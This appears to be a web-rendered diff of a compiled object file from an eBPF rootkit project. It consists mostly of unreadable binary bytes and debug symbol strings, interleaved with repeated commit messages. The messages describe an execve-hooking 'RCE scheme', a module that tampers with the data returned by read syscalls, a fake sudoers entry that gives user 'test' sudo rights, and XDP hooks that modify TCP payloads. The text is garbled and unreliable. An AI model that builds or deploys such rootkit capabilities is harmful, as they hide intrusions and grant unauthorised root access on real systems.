+								%H:%M:%S%s INFO  pid:%d code:%i, msg:%s
 								UNRECOGNIZED RB EVENT RECEIVEDActivating filter on network interface: %s
 								Error on input interfaceUnknown option: %c
 								Missing arguments for %c
 								:t:vhFailed to open and load BPF skeleton
 								Failed to load and verify BPF skeleton
 								Failed to create ring buffer
-												Initial version of the RCE scheme- Added complete execve hook, helper and modifying capabilities for the filename called. Works still needs to be done

											
										
										
											2022-02-06 14:15:57 -05:00
+								Filter set and ready<00>
 								<04>9}}}<00><00>int<05><19><05><1B><05>9<05><1A><08>	<09>
-												FS module now can overwrite the buffer of read syscalls, effectively modifying what is returned as a result. Small PoC included now which modifies any first char in a string to 'O'. Use under discretion, may crash some programs, not enough checks implemented yet.

											
										
										
											2022-01-15 16:16:30 -05:00
+								<00>1y3<07>6	<09>7	<09>8	<09>9	<09> :	<09>(;	<09>0<	<09>8=	<09>@@	<09>HA	<09>PB	<09>XD<16>`F<14>hH<07>pI<07>tJ<0B>xM<12><00>N<0F><00>O<08><00>Q<0F><00>Y
<0A><00>[<17><00>\<19><00>]<14><00>^	<09><00>_
 								-<00>`<07><00>b<08><00><19>+
<08><08><0E><00>9<08>
<08>
<08><0E><00>9y<10><08><0E><08>	$<0E>	;<0C>
 								#
<0A>
 
 								+w
 								/<0F>key
 <07>arg
 <0F>
 								:<07>doc
 								@<0F>
 								I<07>(
 								q<13><08><00><14><14><14><08><10>`
 								<08>
 								g
 								<07>
 								m
 								<07>
 								}
 								$}
 								)<07>$
 								,	<09>(
 								/
 								s0
 	<09>8
 	<09>@
 	<09>H
 								:	<09>P
 								<	<09>X
 
 								<EFBFBD><08>
 								<EFBFBD><1D>
 								<EFBFBD>|
 								<EFBFBD><0F>doc
 								<EFBFBD><0F>
 								<EFBFBD>B
 								<EFBFBD>a(
 								<EFBFBD><0F>0	<09>w
 								<EFBFBD>=
 								<EFBFBD>g
 								<EFBFBD><07>
 								<0F>
 								<07>	<09>=<13>a<14><14><14>H<08><08><08><12>tm8!	<07>
 								<07><07><07>
<07><07><07><07><07> <0C>(<0F>0<0E>?9}
<06>
 <0A><12>
-												Added new hooks and updated map fields to support new sudo module.

											
										
										
											2022-02-05 13:49:20 -05:00
+<0A><08>
<0A><0C>
<0A><0C>}<0E>9}2@@
 E<08>szG	-N<0E>P<07>W<07>\<0E>_<08> c<0E>(j<0E>0	F<1A>
<08><08>
<08>
<0F>&<0F><0E>map<0F>&<0F>	s<08><0F>e<0F><0E><0F>e<0F>p<08>
vkH$	sz	-<0E>$		-obj+	 	<06>(
-												Initial version of the RCE scheme- Added complete execve hook, helper and modifying capabilities for the filename called. Works still needs to be done

											
										
										
											2022-02-06 14:15:57 -05:00
+								<06>,1	0
<06>8<06><7	@*	<08><08>,<0E>M	9

~	<13><13><13>0<02>	<17><17><17><17><17> <17>(0.
 								vvvvv  v(0"	<09>#<08>$<08>%<08>&<08>'
(
$)<08>;*/
=+<08>s,?
u-O
<00>._
<00>/_
0_
'1?
M2_
l3_
<00>4o
<00>5_
<00>6
7?
<8<08>
[9<08>
<00>:<08>
<00>;<08>
<00><<00>=<08>
<00>><08>
<00>?@<08>
'A<08>
8B<08>
IC<08>
TD<08>
_E=	jF<08>
xG=	<00>H<08>
<00>I<08>
<00>J<08>
<00>K<00>L_
	M_
/N_
UO{P<08>
<00>Q<08>
<00>R/<00>S/<0E><00>9<0E><00>9<0E>
9<0E>
9<0E>/
9<0E>?
95<0E>O
9<0E>_
9F<0E>o
9%<0E>
94<0E><00>
9(<0E><00>
9)<0E><00>
9<0E><00>
9<0E><00>
9<0E><00>
9<0E><00>
9<0E><00>
9
 								<0E>9 <0E>93<0E>/9<0E>?9,
 								<00>
 								<08><1E>obj<15>M	~	(!<04>	XT<05><00>|.
 								 }<0E>
<03>pid<06>
 								$	<09><12>	<09><0E>5!9<00>
 								]all<0E><0E>
 								<0C>all<0E><0E>
 								<0C>all<0E><0E><0E><0E>
 								!<0C>all"<0E>#<0E>
 ]<06>$<06>&<03>
 								,e-<0F>.<0F>
 <0C>2<0F>
 <0C>6<0F>
 <0C>:<0F>
 								(*+/=3e7<06>;<06> ?=<03>@1AenvJ<07>"env/	#H<16>	$t<05><00><01>%t<0E><02>L%tm<02>@"rbu<02>`#v<02>h"errw<0B><02>T#<02><08><02>X"opt<02><06><02>\&<02>
'W<0C>
<01><>(ctxW"<22><03><>%W-<2D><03><>%W:-<03><>"eX<19><03><>"tm[
<0A><03><>"ts\/<02>@"t]	y<03><><08>)J
<01><>(sigJ<1D><02>l*<
<00><01>#=<10><02>P'2<0C>N<01>`%24<02>l%2G<32><02>`%2W@<02>X+!<00><01><>(arg!$<24><02>X#%<0B><02>`#&<0B><02>h'<01><01>s<01><>(obj<01>*<02>X"s<01><1E><02>h,err<01>'~<01><01>.(obj~<02>h-x<01>'et<01><>%e7<65><02>X"objg<02>h.errr<08>/XC<01>(objX"<02>h%:;9I$>:;
:;I8$>I	&I
-												FS module now can overwrite the buffer of read syscalls, effectively modifying what is returned as a result. Small PoC included now which modifies any first char in a string to 'O'. Use under discretion, may crash some programs, not enough checks implemented yet.

											
										
										
											2022-01-15 16:16:30 -05:00
+								:;9
:;9I8:;9
<I!I/7I4:;9I?<
:;9I8'II:;9
:;9I8:;9>I:;9(5I
:;9I8&:;9:;9
:;9I8 >I:;9!!I/"4:;9I#4:;9I$.?:;9'I@<18>B%:;9I&
 								:;9'.:;9'I@<18>B(:;9I).:;9'@<18>B*.:;9'@<18>B+.?:;9'@<18>B,
 								:;9-.:;9'I@<18>B.
-												Initial version of the RCE scheme- Added complete execve hook, helper and modifying capabilities for the filename called. Works still needs to be done

											
										
										
											2022-02-06 14:15:57 -05:00
+								:;9/.:;9'@<18>B,
 								(<00><01>
.outputuser/usr/lib/gcc/x86_64-linux-gnu/10/include/usr/include/x86_64-linux-gnu/bits/usr/include/x86_64-linux-gnu/bits/types/usr/include/usr/include/asm-generic.output/bpfuser/../commonuser/include/moduleskit.skel.hkit.c<built-in>stddef.htypes.hstruct_FILE.hFILE.hstdio.hgetopt_core.hargp.htime_t.hstruct_tm.hresource.hint-ll64.hlibbpf.hmap_common.h	module_manager.h
 									<03><05>	vtY<02><03>$5<1A>/
-												FS module now can overwrite the buffer of read syscalls, effectively modifying what is returned as a result. Small PoC included now which modifies any first char in a string to 'O'. Use under discretion, may crash some programs, not enough checks implemented yet.

											
										
										
											2022-01-15 16:16:30 -05:00
+								uu<05>LX	Mb>$	<09>Y2	K<01>2	<09><01>.$<24>/
 								u<10><08>
 								<EFBFBD><0B>	<09>
<0A><11>;<3B>'t/<'t
-												Initial version of the RCE scheme- Added complete execve hook, helper and modifying capabilities for the filename called. Works still needs to be done

											
										
										
											2022-02-06 14:15:57 -05:00
+								<EFBFBD><08><05><03><12><03><13><11>L	<09>J<03>	<09>J<11>L	<09>J<03>	<09>J<11>K	<09>J<14>M<12>><3E>)t1<)t<0B><08><05><03><13><03><15><13>K<15><13>L
 								<EFBFBD>J<03>
 								<EFBFBD>J<13>K
 								<EFBFBD>J<13>L
-												FS module now can overwrite the buffer of read syscalls, effectively modifying what is returned as a result. Small PoC included now which modifies any first char in a string to 'O'. Use under discretion, may crash some programs, not enough checks implemented yet.

											
										
										
											2022-01-15 16:16:30 -05:00
+								<EFBFBD>J<03>
 								<EFBFBD>J<13>K
 								<EFBFBD>J<13>L
 								<EFBFBD>J<03>
 								<EFBFBD>J<13>K
 								<EFBFBD>J<13>L
 								<EFBFBD>J<03>
 								<EFBFBD>J<13>K
-												Added new hooks and updated map fields to support new sudo module.

											
										
										
											2022-02-05 13:49:20 -05:00
+								<EFBFBD>J<13>L
 								<EFBFBD>J<03>
 								<EFBFBD>J<13>K
-												FS module now can overwrite the buffer of read syscalls, effectively modifying what is returned as a result. Small PoC included now which modifies any first char in a string to 'O'. Use under discretion, may crash some programs, not enough checks implemented yet.

											
										
										
											2022-01-15 16:16:30 -05:00
+								<EFBFBD>J<13>
L
-												Initial version of the RCE scheme- Added complete execve hook, helper and modifying capabilities for the filename called. Works still needs to be done

											
										
										
											2022-02-06 14:15:57 -05:00
+								<EFBFBD>	<03><0E><03>qt<<03> 	<09>Y(<03>p.<05>u<0B><><05><08>
-												FS module now can overwrite the buffer of read syscalls, effectively modifying what is returned as a result. Small PoC included now which modifies any first char in a string to 'O'. Use under discretion, may crash some programs, not enough checks implemented yet.

											
										
										
											2022-01-15 16:16:30 -05:00
+								<EFBFBD><05>
 								<08><><05><08>\?g#ft<
 								K	u<08>&4<><10><06>K<08><01>!j
 								<EFBFBD>uD<t<19><02><07><02>	<08><07>EK<03>-
 								<EFBFBD>Z
 								<EFBFBD>Z
 								<EFBFBD>[
 									wY<06>w/<10>	YI
!<08><05><><10>u
1<><31><08>
<0A><08><><EFBFBD>b<><08>#<23><>[	<05>u
-												Initial version of the RCE scheme- Added complete execve hook, helper and modifying capabilities for the filename called. Works still needs to be done

											
										
										
											2022-02-06 14:15:57 -05:00
+								<08><08><06>=g<08>^&u(<28>!<21>vv<08><06>.><07>$uu<08>2<08>	/?gu	z.<08>J!<04>fvYxdp_receive_____fmt_19handle_tp_sys_exit_read_____fmt_22handle_tp_sys_exit_read_____fmt_23handle_tp_sys_exit_read_____fmt_24handle_tp_sys_exit_read_____fmt_25handle_tp_sys_exit_read_____fmt_26ipv4_csum_____fmthandle_tp_sys_enter_execve_____fmt_30tp_sys_enter_read_____fmthandle_tp_sys_enter_execve_____fmt_32handle_tp_sys_enter_execve_____fmt_33handle_tp_sys_enter_execve_____fmt_35handle_tp_sys_enter_execve_____fmt_36handle_tp_sys_enter_execve_____fmt_37handle_tp_sys_enter_execve_____fmt_38_shortbufhandle_sched_process_exec_IO_lock_tgp_offsetstderrformattm_yday_IO_buf_endargp_statemessageoptoptchild_inputsrlim_tflagsxdp_receive_____fmt_20xdp_receive_____fmt_21groupbpf_program_IO_write_endunsigned intnext_freeres_listuser/kit.c_flags__RLIMIT_OFILEexec_module_attrexpand_tcp_packet_payload_____fmt_40expand_tcp_packet_payload_____fmt_41expand_tcp_packet_payload_____fmt_43expand_tcp_packet_payload_____fmt_44root_argpexpand_tcp_packet_payload_____fmt_42fs_openlinklevel__rlimit_resourcetm_mdayshort intbtf_custom_pathrlim_maxEXITGNU C17 10.3.0 -mtune=generic -march=x86-64 -g -fasynchronous-unwind-tables -fstack-protector-strong -fstack-clash-protection -fcf-protectiontm_year__RLIMIT_LOCKSprint_help_dialogmodule_config_t__RLIM_NLIMITStm_monhandle_tp_sys_enter_execve_____fmt_31_IO_save_endmmapedhandle_tp_sys_enter_execve_____fmt_39handle_tp_sys_exit_read_____fmtrelaxed_core_relocsoverflow_arg_arealong long unsigned intcleanupattach_prog_fdexpand_tcp_packet_payload_____fmtkit_bpf__open_opts__RLIMIT_NPROCbpf_objectfs_module_attrkconfigrb_eventexec_moduleLIBBPF_WARN_offsetmodify_payload_____fmttp_sys_enter_openatINFO_filenolibbpf_print_leveldata_sizeargp_optionsize_targs_doc_vtable_offset_markers_IO_read_base_Boolxdp_receive__RLIMIT_NICEargcxdp_module_attrkit_bpf__loadkit_bpfcodeprog_cntmodule_configmap_cntifindextm_hourbump_memlock_rlimitmapscharobject_name__rlim_t_mode__RLIMIT_NLIMITS_IO_markertp_sys_enter_execve_IO_read_ptrbpf_linkdataerr_streamxdp_receive_____fmt_1xdp_receive_____fmt_2xdp_receive_____fmt_3xdp_receive_____fmt_4xdp_receive_____fmt_5xdp_receive_____fmt_6__u32xdp_receive_____fmt_8xdp_receive_____fmt_9time_targp_domainprog_skel_szlibbpf_print_fnrlim_cur_IO_write_baselong long intbpf_prog_skeletonsig_handlerhelp_filter_IO_save_basesched_module_attrheaderevent_type__RLIMIT_RSSring_buffer__RLIMIT_MSGQUEUE_freeres_buf_IO_backup_baseLIBBPF_INFORLIMIT_AS__pad5long unsigned intprogshandle_tp_sys_enter_execve_____fmtRLIMIT_FSIZEkit_bpf__destroyargpoptargargsargvlong doubleparsertp_sys_enter_readxdp_modulefs_moduleargp_childlinksrb_commRLIMIT_DATArlimit_IO_read_endrodataRLIMIT_CPUmodule_config_attr_tlong intoptionserror_t_IO_wide_data__RLIMIT_SIGPENDING__va_list_tagoptsexitingpstateskeletonfp_offsettp_sys_exit_readnamekit_bpf__openERRORargp_parser_tbpf_map_skeleton_IO_buf_base_wide_dataRLIMIT_NOFILE__empty_lockprog_IO_codecvt_old_offset_IO_FILEreg_save_arearelaxed_mapsrlim_newLIBBPF_DEBUGdata_szinputevent_type_ttm_mintm_zonehandle_rb_eventpin_root_pathunsigned char__RLIMIT_RTTIMElinequoted_IO_write_ptr__RLIMIT_RTPRIOsched_modulehandle_tp_sys_enter_openat_____fmtmodify_payload_____fmt_46bpf_object_open_optsbpf_object_skeletonmodule_config_attr__time_t_codecvt__RLIMIT_MEMLOCKtm_wdayarg_numDEBUGout_stream__off_tkit_bpf__create_skeletonverbosemap_skel_szsigned charxdp_receive_____fmt_7short unsigned inttm_secmainbpf_maptm_isdstxdp_receive_____fmtchildren/home/osboxes/TFG/srctm_gmtoffhandle_tp_sys_enter_execve_____fmt_29_chainRLIMIT_STACKkit_bpf__rodataFILEdesc_flags2RLIMIT_CORE_cur_columnskelhook__off64_t_unused2xdp_receive_____fmt_10xdp_receive_____fmt_11xdp_receive_____fmt_12xdp_receive_____fmt_13xdp_receive_____fmt_14xdp_receive_____fmt_15xdp_receive___
 										<00><>	 <00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>	.<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>!	/.	/4	.<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>;	.<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>G	/<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Q	0<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>d	1<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>|	2<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>	<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>		<00><><00>	 <00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>		ҵ<00>	<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>	3<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>	<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>	4<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
-												FS module now can overwrite the buffer of read syscalls, effectively modifying what is returned as a result. Small PoC included now which modifies any first char in a string to 'O'. Use under discretion, may crash some programs, not enough checks implemented yet.

											
										
										
											2022-01-15 16:16:30 -05:00
-												Initial version of the RCE scheme- Added complete execve hook, helper and modifying capabilities for the filename called. Works still needs to be done

											
										
										
											2022-02-06 14:15:57 -05:00
+								C
 								<00>
 								@)
-												FS module now can overwrite the buffer of read syscalls, effectively modifying what is returned as a result. Small PoC included now which modifies any first char in a string to 'O'. Use under discretion, may crash some programs, not enough checks implemented yet.

											
										
										
											2022-01-15 16:16:30 -05:00
+								.
-												Initial version of the RCE scheme- Added complete execve hook, helper and modifying capabilities for the filename called. Works still needs to be done

											
										
										
											2022-02-06 14:15:57 -05:00
+								<00><
 								<00>	A
 M
 								+Y
 								de
 								<00>q
 								<00>
 								<00><00>
 								<00><00>
 								<00>
<00>
 								<00>
<00>
 								<00>
 								<00>
 								<00>
 								<00>
<00>
 								<00><00>
 								<00><00>
 								X
<00>
 								<00><00>
 								<00>
 								'
 
 									A
 								<00>N
 								<00>[
 								<00>h
 								Ku
 								^	<00>
 								<00>	<00>
 								F<00>
 								<00>
 								<00><00>
 								<00><00>
 								<00><00>
 								<00><00>
 								<00><00>
 								<00><00>
 								<00>
 								<00>
 								{
 								a
+
 								<00>8
 								<00>E
 								<00>	R
 								<00>	_
 								<00>l
 								<00>z
 								<00><00>
 								 <00>
 								<00><00>
 								<00><00>
 								<00>
 <00>
 								S
 								j
 								<00>)
 								P
 								<00>j
 								<00>}
 								<00><00>
 								W<00>
 								<00><00>
 								:<00>
 								_
 								<00>
 								<00><00>
 								<00>
 								<00>
 								<00>#
 								J1
 								q?
 								<00>M
 								[
 								i
 								<00>
w
 								T<00>
 								N
 								<00>
 								<00>
 								p
 								<00>
 								<00><00>
 <00>
 								R	<00>
 								<00><00>
 								<00>
 								N
 								<00>!
 								~	/
 								<00>z
 								<00><00>
 								<00>
 								]<00>
 								<00><00>
 								<00>
 								<00>
 								<00><00>
 								{
<00>
 								C<00>
 								V
 								d$
 								&	+
 								<00>@
 								R
 								<00>
 								X
-												Completed faking that an user is in the sudoers file. Now user 'test' can use sudo without being there

											
										
										
											2022-02-05 14:10:12 -05:00
-												Initial version of the RCE scheme- Added complete execve hook, helper and modifying capabilities for the filename called. Works still needs to be done

											
										
										
											2022-02-06 14:15:57 -05:00
+								^
-												Completed faking that an user is in the sudoers file. Now user 'test' can use sudo without being there

											
										
										
											2022-02-05 14:10:12 -05:00
+								<00>
-												Initial version of the RCE scheme- Added complete execve hook, helper and modifying capabilities for the filename called. Works still needs to be done

											
										
										
											2022-02-06 14:15:57 -05:00
+								d
 								<00>j
 								<00>p
 								<00>	v
 								<00>|
 								<00>
 								<00>	<00>
 								)<00>
 								j
<00>
 								<00><00>
 								%<00>
 								<00>	<00>
 								,<00>
 								<00><00>
 								<00><00>
 								<00><00>
 								<00>
 								~<00>
 								<00>
 								<00>
 									<00>
 <00>
 								<00>
 								d
 								<00>.
 								o4
 								<00>	:
 G
 `
 								<00>m
 								z
 								<00><00>
 								|<00>
 								<00><00>
 								R<00>
 								%<00>
 								<00>
 <00>
 								<00><00>
 								<00>
 								<00><00>
 								S-
 	;
 								I
 								<00>W
 								<00>l
 								}
 
<00>
 								<00>
 								<00>
 								B<00>
 								<00><00>
 								<00>
<00>
 								<00><00>
 								j
 								<00>
 								W
 								<00>
 								d
 								<00>q
 								<00>
 								<00>
 								<00>
 								w
 								<00>
 								n<00>
 								<00><00>
 								<00><00>
 								 <00>
 								<00>
 								w
 								<00>
 								n
-												Added new hooks and updated map fields to support new sudo module.

											
										
										
											2022-02-05 13:49:20 -05:00
-												Initial version of the RCE scheme- Added complete execve hook, helper and modifying capabilities for the filename called. Works still needs to be done

											
										
										
											2022-02-06 14:15:57 -05:00
+								<00>
-												Added new hooks and updated map fields to support new sudo module.

											
										
										
											2022-02-05 13:49:20 -05:00
-												Initial version of the RCE scheme- Added complete execve hook, helper and modifying capabilities for the filename called. Works still needs to be done

											
										
										
											2022-02-06 14:15:57 -05:00
+								<00>!
-												Added new hooks and updated map fields to support new sudo module.

											
										
										
											2022-02-05 13:49:20 -05:00
-												Initial version of the RCE scheme- Added complete execve hook, helper and modifying capabilities for the filename called. Works still needs to be done

											
										
										
											2022-02-06 14:15:57 -05:00
+								 /
-												Added new hooks and updated map fields to support new sudo module.

											
										
										
											2022-02-05 13:49:20 -05:00
-												Initial version of the RCE scheme- Added complete execve hook, helper and modifying capabilities for the filename called. Works still needs to be done

											
										
										
											2022-02-06 14:15:57 -05:00
+								<00>=
-												Added new hooks and updated map fields to support new sudo module.

											
										
										
											2022-02-05 13:49:20 -05:00
-												Initial version of the RCE scheme- Added complete execve hook, helper and modifying capabilities for the filename called. Works still needs to be done

											
										
										
											2022-02-06 14:15:57 -05:00
+								<00>J
-												Added new hooks and updated map fields to support new sudo module.

											
										
										
											2022-02-05 13:49:20 -05:00
-												Initial version of the RCE scheme- Added complete execve hook, helper and modifying capabilities for the filename called. Works still needs to be done

											
										
										
											2022-02-06 14:15:57 -05:00
+								#W
-												Added new hooks and updated map fields to support new sudo module.

											
										
										
											2022-02-05 13:49:20 -05:00
-												Initial version of the RCE scheme- Added complete execve hook, helper and modifying capabilities for the filename called. Works still needs to be done

											
										
										
											2022-02-06 14:15:57 -05:00
+								(d
-												Added new hooks and updated map fields to support new sudo module.

											
										
										
											2022-02-05 13:49:20 -05:00
-												Initial version of the RCE scheme- Added complete execve hook, helper and modifying capabilities for the filename called. Works still needs to be done

											
										
										
											2022-02-06 14:15:57 -05:00
+								>q
-												Added new hooks and updated map fields to support new sudo module.

											
										
										
											2022-02-05 13:49:20 -05:00
-												Initial version of the RCE scheme- Added complete execve hook, helper and modifying capabilities for the filename called. Works still needs to be done

											
										
										
											2022-02-06 14:15:57 -05:00
+								T~
-												Added new hooks and updated map fields to support new sudo module.

											
										
										
											2022-02-05 13:49:20 -05:00
-												Initial version of the RCE scheme- Added complete execve hook, helper and modifying capabilities for the filename called. Works still needs to be done

											
										
										
											2022-02-06 14:15:57 -05:00
+								j<00>
-												Added new hooks and updated map fields to support new sudo module.

											
										
										
											2022-02-05 13:49:20 -05:00
-												Initial version of the RCE scheme- Added complete execve hook, helper and modifying capabilities for the filename called. Works still needs to be done

											
										
										
											2022-02-06 14:15:57 -05:00
+								<00><00>
-												Added new hooks and updated map fields to support new sudo module.

											
										
										
											2022-02-05 13:49:20 -05:00
-												Initial version of the RCE scheme- Added complete execve hook, helper and modifying capabilities for the filename called. Works still needs to be done

											
										
										
											2022-02-06 14:15:57 -05:00
+								<00><00>
-												Added new hooks and updated map fields to support new sudo module.

											
										
										
											2022-02-05 13:49:20 -05:00
-												Initial version of the RCE scheme- Added complete execve hook, helper and modifying capabilities for the filename called. Works still needs to be done

											
										
										
											2022-02-06 14:15:57 -05:00
+								<00>
<00>
-												Added new hooks and updated map fields to support new sudo module.

											
										
										
											2022-02-05 13:49:20 -05:00
-												Initial version of the RCE scheme- Added complete execve hook, helper and modifying capabilities for the filename called. Works still needs to be done

											
										
										
											2022-02-06 14:15:57 -05:00
+								<00><00>
-												Added new hooks and updated map fields to support new sudo module.

											
										
										
											2022-02-05 13:49:20 -05:00
-												Initial version of the RCE scheme- Added complete execve hook, helper and modifying capabilities for the filename called. Works still needs to be done

											
										
										
											2022-02-06 14:15:57 -05:00
+								<00><00>
-												Added new hooks and updated map fields to support new sudo module.

											
										
										
											2022-02-05 13:49:20 -05:00
-												Initial version of the RCE scheme- Added complete execve hook, helper and modifying capabilities for the filename called. Works still needs to be done

											
										
										
											2022-02-06 14:15:57 -05:00
+								<00><00>
-												Added new hooks and updated map fields to support new sudo module.

											
										
										
											2022-02-05 13:49:20 -05:00
-												Initial version of the RCE scheme- Added complete execve hook, helper and modifying capabilities for the filename called. Works still needs to be done

											
										
										
											2022-02-06 14:15:57 -05:00
+								<00>
-												Added new hooks and updated map fields to support new sudo module.

											
										
										
											2022-02-05 13:49:20 -05:00
-												Initial version of the RCE scheme- Added complete execve hook, helper and modifying capabilities for the filename called. Works still needs to be done

											
										
										
											2022-02-06 14:15:57 -05:00
+								<00>
-												Added new hooks and updated map fields to support new sudo module.

											
										
										
											2022-02-05 13:49:20 -05:00
-												Initial version of the RCE scheme- Added complete execve hook, helper and modifying capabilities for the filename called. Works still needs to be done

											
										
										
											2022-02-06 14:15:57 -05:00
 								M
 								d
 								{-
 								<00>;
 								I
 								<00>W
 								<00>e
 								<00>s
 								<00>
 								:<00>
 								]<00>
 								<00><00>
 								<00><00>
 								<00><00>
 								<00>
 								`<00>
 								<00><00>
 								 <00>
 								>
 								d)
 								<00>7
 								<00>E
 								<00>S
 								Za
 								<00>o
 								+}
 								P<00>
 								<00><00>
 								u<00>
 								<00><00>
 								<00><00>
 								<00><00>
 @
 								]M
 								[g
 								<00>t
 								<00>
-												Completed faking that an user is in the sudoers file. Now user 'test' can use sudo without being there

											
										
										
											2022-02-05 14:10:12 -05:00
+								<00>
-												Initial version of the RCE scheme- Added complete execve hook, helper and modifying capabilities for the filename called. Works still needs to be done

											
										
										
											2022-02-06 14:15:57 -05:00
+								<00>
 								<00>
 								<00>
 								<00><00>
 								<00>
<00>
 								><00>
 								<00><00>
 								P<00>
 								Z<00>
 								b
 								e
 								<00>	6
 								<00>
 								P
 								 ^
 								<00>x
 								<00>
 								<00>
 								<00>
 								w
 								<00>
 								n<00>
 								<00><00>
 								c<00>
 								<00><00>
 								<00><00>
 								<00>
 								<00>
 								<00>
 								$
 								c2
 								<00>>
 								?K
 								<00>X
 								<00>f
 								l	s
 								<00><00>
 								C<00>
 								<00><00>
 								<00>
 								<00><00>
 								<00>
 								<00>
 								<00><00>
 								<00>
 								<00>
 								<00><00>
 								<00>
 								<00>
 								c
 								<00>
 								s$
 								E
=
 								<00>
Xa
 								Lnw
 <00><00>
 								:<00>
 								_
 								<00>
 								<00><00>
 								<00>
 								<00><00>
 								<00>
 								l(O
 								_
 								<00><00>
 								F	<00><00><00>
 								<00><00>r
 								,
 								<00>$3
 								<00>B
 								<Q
 								Z
 								a
 								<00>hW<00>
 								<00><00>
 								<00><00>
 								<00>
<00><00><00>D<00>
 								O<00>/
 								<00>:<00>M
 								XCo
 								G<00><00><00>
 								=
 								<00>
 								<00> @C`<00><00><00><00><00><00>W<00>$r <00>@`.symtab.strtab.shstrtab.rela.text.data.bss.rodata.rela.debug_info.debug_abbrev.rela.debug_aranges.rela.debug_line.debug_str.comment.note.GNU-stack.note.gnu.property.rela.eh_frame @
 								@<00><><00>	&T
 								,T
 X
 								<00><>>C<><00>9@<00><><00>J<11><00>]<00><>0X@P0	q<1E>,l@<00>}0J<><00><00>0<00><>&<00><19><00> <20> <00>@<40>x<00>@<00><00><><00>	<00><>7<00><00>